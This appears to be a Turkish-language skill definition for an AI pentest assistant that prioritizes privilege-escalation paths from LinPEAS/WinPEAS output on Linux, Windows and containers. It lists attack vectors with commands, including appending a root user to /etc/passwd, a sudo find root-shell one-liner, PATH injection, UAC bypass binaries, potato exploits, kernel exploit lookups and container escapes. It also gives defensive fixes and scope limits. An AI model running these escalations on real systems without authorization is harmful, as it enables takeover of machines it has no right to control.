aibot88 pentest-privesc
Linux + Windows + container privesc analiz. Kullanici LinPEAS/WinPEAS cikti paste eder; skill prioritize eder + exploit yolu onerir.
Triggers
- "linpeas ciktisi"
- "winpeas ciktisi"
- "privesc nasil"
- "SUID binary"
- "sudo abuse"
- "kernel exploit secimi"
- "container escape"
- "UAC bypass"
Linux Privesc Vector Listesi
| Vector | Tespit | Exploit Yontemi |
|---|---|---|
| SUID binary | find / -perm -4000 |
GTFOBins lookup |
| Capability | getcap -r / 2>/dev/null |
CAP_SETUID, CAP_DAC_READ_SEARCH |
| Sudo rule | sudo -l |
GTFOBins (NOPASSWD bins) |
| Writable /etc/passwd | ls -la /etc/passwd |
echo "evil:x:0:0..." >> |
| Writable cron | find /etc/cron* -writable |
Script ekle |
| Path injection | sudo + relative path | PATH=/tmp:$PATH; ./binary |
| Kernel exploit | uname -a | exploit-db version match |
| LD_PRELOAD | sudo env_keep | malicious .so |
| Docker socket | /var/run/docker.sock readable | Container break |
| NFS no_root_squash | mount source | UID 0 file create |
| systemd timer writable | /etc/systemd/* | Timer override |
| Wildcard injection | tar/rsync wildcard | --checkpoint-action |
LinPEAS Output Analizi
# Kullanici linpeas ciktisini paste eder, skill su sirayla okur:
1. SUID binary listesi -> GTFOBins'e gore exploitable filtre
2. Capability output -> CAP_SETUID / CAP_NET_ADMIN priorite
3. Sudo rule -> NOPASSWD + GTFOBins
4. Cron + writable -> script ekle yolu
5. PATH analiz -> writable yer var mi
6. Kernel version -> Dirty Pipe, OverlayFS, Sequoia gibi
GTFOBins hizli sablon: https://gtfobins.github.io — "shell", "sudo", "suid", "capabilities", "file write" filtreleri.
Windows Privesc Vector
| Vector | Tespit | Exploit |
|---|---|---|
| Unquoted service path | wmic service get name,pathname |
Path'te bosluk + binplant |
| AlwaysInstallElevated | reg query HKLM\Software\Policies\Microsoft\Windows\Installer |
MSI ile elevation |
| Token impersonation | whoami /priv |
SeImpersonate / SeAssignPrimaryToken |
| Stored creds | cmdkey /list, runas /savecred |
Saved cred kullan |
| Weak service ACL | accesschk.exe -uwcqv "Authenticated Users" * |
Service modify |
| Registry autorun | HKLM...\Run writable | Persistence + elevation |
| Scheduled task | schtasks /query |
Task command override |
| DLL hijacking | Process Monitor | Missing DLL plant |
| Local admin via UAC bypass | UAC level Auto | fodhelper.exe, eventvwr.exe |
| Print Spooler | PrintNightmare CVE-2021-1675 | Lokal driver install |
WinPEAS Output Analizi
WinPEAS renkli output -> kirmizi/sari onceliklendir. Skill kirmizi bulguya GENIS aciklama + sari bulguya konteks verir.
Token Impersonation (Windows)
SeImpersonatePrivilege var mi?
-> EVET: JuicyPotato (Win 10 < 1809), RoguePotato, PrintSpoofer (modern)
-> Local SYSTEM kazanci
SeAssignPrimaryToken:
-> CreateProcessAsUser ile SYSTEM yarat
Kernel Exploit Secimi
# Linux
uname -r # version
cat /etc/os-release # distro
ldd $(which sh) | head -1 # libc
# Exploit-DB lookup (offline searchsploit)
searchsploit "Linux Kernel <version> Local"
searchsploit Sequoia # CVE-2021-33909
searchsploit "Dirty Pipe" # CVE-2022-0847
searchsploit PwnKit # CVE-2021-4034
# Windows
systeminfo # version, hotfix
wmic qfe # patch list
# Windows-Exploit-Suggester (offline)
python wes.py systeminfo.txt
Container Escape
# Pod RBAC check
kubectl auth can-i --list
# Privileged container detection
cat /proc/self/status | grep CapEff # cap effective
ls /dev | grep -i sd # host disk mount
mount | grep /etc/hostname # host mount izi
# Common escapes:
- privileged: true + mount host /
- hostPID: true + nsenter -t 1 ...
- Docker socket bind /var/run/docker.sock
- CAP_SYS_ADMIN + cgroups release_agent
- runc CVE-2024-21626 (leaking file descriptor)
Output Sablonu
## Privesc Path — <hedef>
### Tespit
- Linux Ubuntu 22.04.3 LTS, kernel 5.15.0-86
- User "webapp" -> NOPASSWD sudo for /usr/bin/find
- /etc/cron.d/backup writable
### Onceliklendirme
1. [QUICK WIN] sudo find . -exec /bin/sh \; -quit (GTFOBins)
-> tek komut, instant root
2. [BACKUP] cron writable, 5dk sonra otomatik root cmd
3. [KERNEL] PwnKit (CVE-2021-4034) — kernel patched mi check, atla varsayilan
### Onerisi (defansif)
- find sudo'dan kaldir (NOPASSWD scope cok genis)
- cron izinleri root:root 644
- pkexec /usr/bin/pkexec PIE + libc audit
Out-of-Scope
- Persistent backdoor olusturma (engagement disinda)
- Production sistemleri compromise sonrasi degisiklik
- Yetki disinda exploit calistirma